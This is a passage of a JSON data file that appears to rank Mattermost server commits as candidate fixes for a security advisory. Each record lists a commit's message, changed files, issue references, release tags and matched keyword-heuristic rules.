"webapp/channels/src/packages/mattermost-redux/src/selectors/entities/preferences.ts", + "webapp/channels/src/selectors/views/channel_sidebar.ts" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27636": "Automated cherry pick of #27636 #27680", + "27680": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "4a48a6f020f343b17a849cd8bd161b4697ba84ef" + ] + ], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test, limit", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27636, 27680", + "relevance": 2 + } + ] + }, + { + "commit_id": "38e31084eb878648bfdcf49cc7bbaa0d594d6103", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721141871, + "hunks": 38, + "message": "[MM-59083] Handle permissions in user management options (#27668) (#27679) Automatic Merge", + "changed_files": [ + "webapp/channels/src/components/admin_console/system_user_detail/system_user_detail.tsx", + "webapp/channels/src/components/admin_console/system_users/system_users_list_actions/confirm_manage_user_settings_modal.tsx", + "webapp/channels/src/components/admin_console/system_users/system_users_list_actions/index.tsx", + "webapp/channels/src/i18n/en.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27668": "Automated cherry pick of #27668 #27679", + "27679": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "80aaeb9d03fc4ef0a2a6c966dfc198f1ee2fc913" + ] + ], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: console, system", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27668, 27679", + "relevance": 2 + } + ] + }, + { + "commit_id": "8cb0631c56825d84e512943a61c80f1811b90f1d", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721068071, + "hunks": 11, + "message": "MM-59099 Show invalid emoji text with its original case (#27603) (#27673) Automatic Merge", + "changed_files": [ + "webapp/channels/src/components/post_emoji/post_emoji.test.tsx", + "webapp/channels/src/components/post_emoji/post_emoji.tsx", + "webapp/channels/src/utils/emoticons.tsx", + "webapp/channels/src/utils/message_html_to_component.test.tsx", + "webapp/channels/src/utils/message_html_to_component.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27603": "MM-59099 Show invalid emoji text with its original case (9.5) #27604 Automated cherry pick of #27603 #27673", + "27673": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "fd0f1cf87e61e5e2b49ad420776348dcc39fdc81" + ], + [ + "no-tag", + "1c53223ed5b720e540fd2a6e7400f010d7df4ba8" + ] + ], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27603, 27673", + "relevance": 2 + } + ] + }, + { + "commit_id": "dc3710138a37117352987a53954c7a836b91e7c1", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721066271, + "hunks": 17, + "message": "MM-59416 Don't request notification permissions when we already have them (#27629) (#27672) Automatic Merge", + "changed_files": [ + "webapp/channels/src/utils/notifications.test.ts", + "webapp/channels/src/utils/notifications.ts" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27629": "Automated cherry pick of #27629 #27671 Automated cherry pick of #27629 #27672", + "27672": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "d3dac41cdabede9b207e7642f93017d8767cdadd" + ], + [ + "no-tag", + "0f3c75f1f6d453ba57679fd0314bbf6e71a0e5f0" + ] + ], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27629, 27672", + "relevance": 2 + } + ] + }, + { + "commit_id": "3899de6c047022baa4e8484c748bedd080d76a52", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720803470, + "hunks": 1, + "message": "[MM-58750] Update prepackage calls to v0.29.0 for MM v9.11 (#27642) (#27643) Automatic Merge", + "changed_files": [ + "server/Makefile" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27642": "Automated cherry pick of #27642 #27643", + "27643": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "a3edc700193e6b48822d3c454bf82f97ec24bc3e" + ] + ], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27642, 27643", + "relevance": 2 + } + ] + }, + { + "commit_id": "3946012358e24673124533b31cd80ec118743fb2", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720762588, + "hunks": 1, + "message": "testing image scanning", + "changed_files": [ + "server/build/Dockerfile" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file", + "relevance": 4 + } + ] + }, + { + "commit_id": "aafca746bc09af78d454975ddaa5490dc7fd304e", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720734875, + "hunks": 1, + "message": "Test image scanning", + "changed_files": [ + "server/build/Dockerfile" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file", + "relevance": 4 + } + ] + }, + { + "commit_id": "cf6d80f9e74dc5925dc4e14b82d2583ec2df3b40", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720708079, + "hunks": 3, + "message": "MM-58245 Don't allow patching real email or username for remote users (#27613) (#27622) Automatic Merge", + "changed_files": [ + "server/platform/services/sharedchannel/sync_recv.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27613": "Automated cherry pick of #27613 #27619 Automated cherry pick of #27613 #27620 Automated cherry pick of #27613 #27621 Automated cherry pick of #27613 #27622", + "27622": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "3521b665eda724d13c49e3183ee77ef0a0b72fc3" + ], + [ + "no-tag", + "38276da8ab72f32e6c60e53e0c06df6bbc7e86c6" + ], + [ + "no-tag", + "eede34313369f0e0677b5a4d5cc35ca523dc191e" + ], + [ + "no-tag", + "19d59d1126c21192405e0f46c03ecb422646f201" + ] + ], + "tags": [ + "v9.5.8", + "v9.5.8-rc2", + "v9.5.9", + "v9.5.9-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: allow", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27613, 27622", + "relevance": 2 + } + ] + }, + { + "commit_id": "8bfce4207a89457012f85ca99782766a35331a89", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720099679, + "hunks": 12, + "message": "MM-58771 - Make manage_server permission, non updatable (#27481) (#27546) Automatic Merge", + "changed_files": [ + "server/channels/api4/role.go", + "server/channels/api4/role_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27481": "Automated cherry pick of #27481 #27543 Automated cherry pick of #27481 #27544 Automated cherry pick of #27481 #27545 Automated cherry pick of #27481 #27546", + "27546": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "5ce19aaf3c26265277f05ca5251acf0e27b865e6" + ], + [ + "no-tag", + "000af88ba4cf2603cae31583b9ccd5f122112583" + ], + [ + "no-tag", + "601c25410af375b11b1a1bead6f51715bbec895e" + ], + [ + "no-tag", + "0dbef88cfc1cb755ce42455db4a271eec01cf429" + ] + ], + "tags": [ + "v9.5.8", + "v9.5.8-rc1", + "v9.5.8-rc2", + "v9.5.9", + "v9.5.9-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: role, test", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27481, 27546", + "relevance": 2 + } + ] + }, + { + "commit_id": "09a66c66ad17991327de851a3452a94b49f7d56e", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720035118, + "hunks": 9, + "message": "tests, lint and docs", + "changed_files": [ + "server/channels/app/post.go", + "server/channels/app/post_test.go", + "server/channels/store/searchlayer/file_info_layer.go", + "webapp/channels/src/packages/mattermost-redux/src/reducers/entities/posts.test.ts" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file, test", + "relevance": 4 + } + ] + }, + { + "commit_id": "9ceadc56560e02fc546352c66f5e2cc351aecf58", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719946677, + "hunks": 2, + "message": "require Permission to user to mark channels as read (#27468) (#27524) Automatic Merge", + "changed_files": [ + "server/channels/api4/channel.go", + "server/channels/api4/channel_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27468": "Automated cherry pick of #27468 #27523 Automated cherry pick of #27468 #27524", + "27524": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "4c97cc54480f4ef81592e5ed5e508524792f8be9" + ], + [ + "no-tag", + "b78175c3904926f913e4ef6eaf373c964be9afea" + ] + ], + "tags": [ + "v9.5.8", + "v9.5.8-rc1", + "v9.5.8-rc2", + "v9.5.9", + "v9.5.9-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27468, 27524", + "relevance": 2 + } + ] + }, + { + "commit_id": "bcac4391c2cba0e63bcdcd73533d9cb2969199a4", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719946671, + "hunks": 11, + "message": "[MM-58840] Add routing restrictions (#27482) (#27519) Automatic Merge", + "changed_files": [ + "e2e-tests/cypress/tests/integration/channels/enterprise/system_console/group_configuration_spec.js", + "e2e-tests/cypress/tests/integration/channels/enterprise/system_console/team_members_spec.js", + "e2e-tests/cypress/tests/integration/channels/system_console/user_management_spec.js", + "webapp/channels/src/components/admin_console/admin_definition.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27482": "Automated cherry pick of #27482 #27517 Automated cherry pick of #27482 #27518 Automated cherry pick of #27482 #27519 Automated cherry pick of #27482 #27520", + "27519": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "2c69f02674d60b0d5512f648c11032ade9eb6deb" + ], + [ + "no-tag", + "57f9796e34688105f3a1cca45c383e3e9d313f48" + ], + [ + "no-tag", + "30b0b039c3874ad5053588f09554e0ff24a6c0db" + ] + ], + "tags": [ + "v9.8.3", + "v9.8.3-rc1", + "v9.8.3-rc2" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: configuration, console, test, system", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27482, 27519", + "relevance": 2 + } + ] + }, + { + "commit_id": "e6a5d03b5a67b26380946a83080d47aca5110703", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719944879, + "hunks": 2, + "message": "require regenerate invite id to have invite permission (#27427) (#27522) Automatic Merge", + "changed_files": [ + "server/channels/api4/team.go", + "server/channels/api4/team_test.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27427": "Automated cherry pick of #27427 #27521 Automated cherry pick of #27427 #27522", + "27522": "" + }, + "cve_refs": [], + "twins": [ + [ + "no-tag", + "b1a9b42f59d169099f4dd71db65bc7ae10b95a32" + ] + ], + "tags": [ + "v9.5.8", + "v9.5.8-rc1", + "v9.5.8-rc2", + "v9.5.9", + "v9.5.9-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "COMMIT_HAS_TWINS", + "message": "This commit has one or more twins.", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27427, 27522", + "relevance": 2 + } + ] + }, + { + "commit_id": "d525f54e7d10dfde23b2b6ae564c92bad5c7b53d", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719591753, + "hunks": 8, + "message": "Revert role.js to its release-9.5 version", + "changed_files": [ + "e2e-tests/cypress/tests/support/api/role.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: role, version", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: role, test", + "relevance": 4 + } + ] + }, + { + "commit_id": "72b1205275e0e3cb69d8c9c3a33a06a617200788", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1719585604, + "hunks": 18, + "message": "unit tests and some adjustments", + "changed_files": [ + "server/channels/api4/post.go", + "server/channels/api4/post_local.go", + "server/channels/app/app_iface.go", + "server/channels/app/file.go", + "server/channels/app/file_test.go", + "server/channels/app/opentracing/opentracing_layer.go", + "server/channels/app/post.go", + "server/channels/app/post_test.go", + "server/channels/store/storetest/file_info_store.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: file, test", + "relevance": 4 + } + ] + }, + { + "commit_id": "db138fd23a6984ef94201cc2635ce0cdcf191f50", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721253759, + "hunks": 4, + "message": "Remove deprecated function (#27605) * make /ancillary a post * remove get from client, fix tests * remove GET for retrieving ancillary permissions * Update permissions.yaml * Update permissions.yaml --------- Co-authored-by: Mattermost Build ", + "changed_files": [ + "api/v4/source/permissions.yaml", + "server/channels/api4/permission.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27605": "MM-58776 - Change Ancillary Permissions API to POST #27504" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27605", + "relevance": 2 + } + ] + }, + { + "commit_id": "53b1d1fe6bb24c3fb9a6729c82d208c951a8b003", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721222870, + "hunks": 1, + "message": "fix wrong property set (#27625) (#27690) Automatic Merge", + "changed_files": [ + "webapp/channels/src/components/admin_console/feature_discovery/features/saml.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27625": "Automated cherry pick of #27625 #27687 Automated cherry pick of #27625 #27690", + "27690": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: console", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27625, 27690", + "relevance": 2 + } + ] + }, + { + "commit_id": "4fb7c26a2cf6f54b5571d5cbaaae73cb4c7399cf", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721221070, + "hunks": 1, + "message": "fix wrong property set (#27625) (#27687) Automatic Merge", + "changed_files": [ + "webapp/channels/src/components/admin_console/feature_discovery/features/saml.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27625": "Automated cherry pick of #27625 #27687 Automated cherry pick of #27625 #27690", + "27687": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "v9.10.1", + "v9.10.1-rc2", + "v9.10.1-rc3", + "v9.10.2", + "v9.10.2-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: console", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27625, 27687", + "relevance": 2 + } + ] + }, + { + "commit_id": "fb790a860bc5d3f3a23f89a5f0e05c94cac99c9c", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1721172205, + "hunks": 1, + "message": "fix wrong property set (#27625) Co-authored-by: Mattermost Build ", + "changed_files": [ + "webapp/channels/src/components/admin_console/feature_discovery/features/saml.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27625": "Automated cherry pick of #27625 #27687 Automated cherry pick of #27625 #27690" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: console", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27625", + "relevance": 2 + } + ] + }, + { + "commit_id": "d44951eed0d86d0b4bacfb449f6b840be430a96e", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720986603, + "hunks": 12, + "message": "Automated cherry pick of #27573 (#27651) Co-authored-by: Ben Schumacher ", + "changed_files": [ + "server/channels/app/support_packet.go", + "server/channels/app/support_packet_test.go", + "server/public/model/packet_metadata.go", + "server/public/pluginapi/system.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27573": "Don't modify global variables in TestNoticeValidation #27591 Automated cherry pick of #27573 #27651 Added metadata details for generated support packets mattermost/docs#7321", + "27651": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test, system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27573, 27651", + "relevance": 2 + } + ] + }, + { + "commit_id": "c87c5fa79d2427fa742842474d3d4576ba2b1fce", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720983238, + "hunks": 9, + "message": "Automated cherry pick of #27571 (#27647) Co-authored-by: Ben Schumacher ", + "changed_files": [ + "server/channels/app/support_packet.go", + "server/channels/app/support_packet_test.go", + "server/einterfaces/ldap.go", + "server/einterfaces/mocks/LdapInterface.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27571": "Automated cherry pick of #27571 #27647 LDAP errors included in support packet generation mattermost/docs#7324", + "27647": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27571, 27647", + "relevance": 2 + } + ] + }, + { + "commit_id": "ff3ed78124c7602cad783e46b422893e584f2883", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720981603, + "hunks": 12, + "message": "[MM-59292] Add metadata to Support Packet (#27573)", + "changed_files": [ + "server/channels/app/support_packet.go", + "server/channels/app/support_packet_test.go", + "server/public/model/packet_metadata.go", + "server/public/pluginapi/system.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27573": "Don't modify global variables in TestNoticeValidation #27591 Automated cherry pick of #27573 #27651 Added metadata details for generated support packets mattermost/docs#7321" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test, system", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27573", + "relevance": 2 + } + ] + }, + { + "commit_id": "bbc8baac0a970413bf9ed7447f870cc21d3c602a", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720858627, + "hunks": 9, + "message": "[MM-59350] Include LDAP vendor errors in Support Packet (#27571)", + "changed_files": [ + "server/channels/app/support_packet.go", + "server/channels/app/support_packet_test.go", + "server/einterfaces/ldap.go", + "server/einterfaces/mocks/LdapInterface.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27571": "Automated cherry pick of #27571 #27647 LDAP errors included in support packet generation mattermost/docs#7324" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_FILES", + "message": "An advisory keyword is contained in the changed files: test", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27571", + "relevance": 2 + } + ] + }, + { + "commit_id": "a4f2ec744c3693b2cefbfa115fed7d46b9f9a87c", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720807903, + "hunks": 14, + "message": "Adding Do not disturb and remote user hour warnings (#27138) * Adding Do not disturb and remote user hour warnings * Do not show the hour warning on your own DMs * style tweaks * Some fixes * Linter fixes * Updating snapshots * Improving the robustness of this solution * Some improvements on keeping up the hour in the interface * i18n-extract and fix linter errors * Removing colon where is not needed * Removing the time from 6-7 to be shown * Addressing PR Review Comments * Changing the remote user hour icon * Changing back to fill and not outline icon * Addressing PR review comments * Fixing the RHS showing this * Removing unneeded check * Fixing linter error * Update webapp/channels/src/components/advanced_text_editor/do_not_disturb_warning.tsx Co-authored-by: Matthew Birtch * Addressing PR review comment * adding consistency to show the DND and Late hours message --------- Co-authored-by: Matthew Birtch ", + "changed_files": [ + "webapp/channels/src/components/advanced_text_editor/advanced_text_editor.tsx", + "webapp/channels/src/components/advanced_text_editor/do_not_disturb_warning.tsx", + "webapp/channels/src/components/advanced_text_editor/remote_user_hour.tsx", + "webapp/channels/src/components/common/svg_images_components/moon_svg.tsx", + "webapp/channels/src/i18n/en.json", + "webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channels.ts", + "webapp/channels/src/utils/constants.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27138": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: time", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27138", + "relevance": 2 + } + ] + }, + { + "commit_id": "40abf8ef66be712742e79ddbb4bff47e61e7c2c7", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720762989, + "hunks": 1, + "message": "Updated required role for user report page GET API (#27529) * Updated required role for user report page GET API * Updated permission in error message --------- Co-authored-by: Mattermost Build ", + "changed_files": [ + "server/channels/api4/report.go" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27529": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: role", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27529", + "relevance": 2 + } + ] + }, + { + "commit_id": "0df1a62f611a95f61b6ff7dcc06ac67e3e67d390", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720734622, + "hunks": 1, + "message": "[feat] adding container image scanning (#27624) Expanding on our ongoing efforts to enhance security, we are integrating container image scanning into the CI pipeline using Wiz.io https://docs.wiz.io/wiz-docs/docs/github-pipeline The policy defined, will be providing internal reports in wiz.io for our teams to review. Will not enforcing CI failure at this point.", + "changed_files": [ + ".github/workflows/server-ci-artifacts.yml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27624": "[fix] ci container image scanning #27631" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + "v10.0.0-rc2", + "v9.11.0", + "v9.11.0-rc1", + "v9.11.0-rc2", + "v9.11.0-rc3", + "v9.11.1", + "v9.11.1-rc1" + ], + "matched_rules": [ + { + "id": "ADV_KEYWORDS_IN_MSG", + "message": "The commit message and the advisory description contain the following keywords: fail", + "relevance": 4 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 27624", + "relevance": 2 + } + ] + }, + { + "commit_id": "43b70e287a1a3621c1d05c90626d9145039c8fc6", + "repository": "https://github.com/mattermost/mattermost-server", + "timestamp": 1720710781, + "hunks": 10, + "message": "MM-58351 Fix showing LHS scrollbar when moving mouse over on chrome and safari (#27160) * fixing scrollbar not showing when moving mouse over sidebar * making scrollbar hidden by default and keep shown when hover over channel list * updating sidebar_list snapshot", + "changed_files": [ + "webapp/channels/src/components/sidebar/sidebar_list/__snapshots__/sidebar_list.test.tsx.snap", + "webapp/channels/src/components/sidebar/sidebar_list/sidebar_list.tsx" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "27160": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "@mattermost/client@9.11.0", + "@mattermost/types@9.11.0", + "server/public/v0.1.6", + "v10.0.0-rc1", + 